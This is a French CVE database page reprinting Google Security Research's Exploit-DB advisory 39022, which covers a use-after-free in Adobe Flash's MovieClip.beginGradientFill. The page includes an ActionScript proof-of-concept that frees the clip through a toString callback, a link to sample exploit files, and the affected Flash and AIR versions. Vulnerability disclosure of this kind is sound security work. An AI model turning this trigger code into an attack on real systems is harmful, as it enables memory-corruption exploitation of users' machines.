Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39022
Date de publication : 2015-12-16 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=557
There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check.
A PoC is as follows:
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
colors = [0xFF0000, 0x0000FF];
fillType = "radial"
alphas = [100, 100];
ratios = [0, 0xFF];
var o = {toString: func};
spreadMethod = o;
interpolationMethod = "linearRGB";
focalPointRatio = 0.9;
matrix = new Matrix();
matrix.createGradientBox(100, 100, Math.PI, 0, 0);
beginGradientFill(fillType, colors, alphas, ratios, matrix,
spreadMethod, interpolationMethod, focalPointRatio);
moveTo(100, 100);
lineTo(100, 300);
lineTo(300, 300);
lineTo(300, 100);
lineTo(100, 100);
endFill();
}
bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;
function func(){
trace("in func");
var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
trace(test);
test.removeTextField();
return "reflect";
}
A sample swf and fla is attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39022.zip
Products Mentioned
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.213
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 19.0.0.213
Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.213
Apple>>Iphone_os >> Version *
Apple>>Mac_os_x >> Version -
Google>>Android >> Version *
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.540
Linux>>Linux_kernel >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.190
Google>>Android >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.255
Adobe>>Flash_player >> Version 19.0.0.185
Adobe>>Flash_player >> Version 19.0.0.207
Adobe>>Flash_player >> Version 19.0.0.226
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Références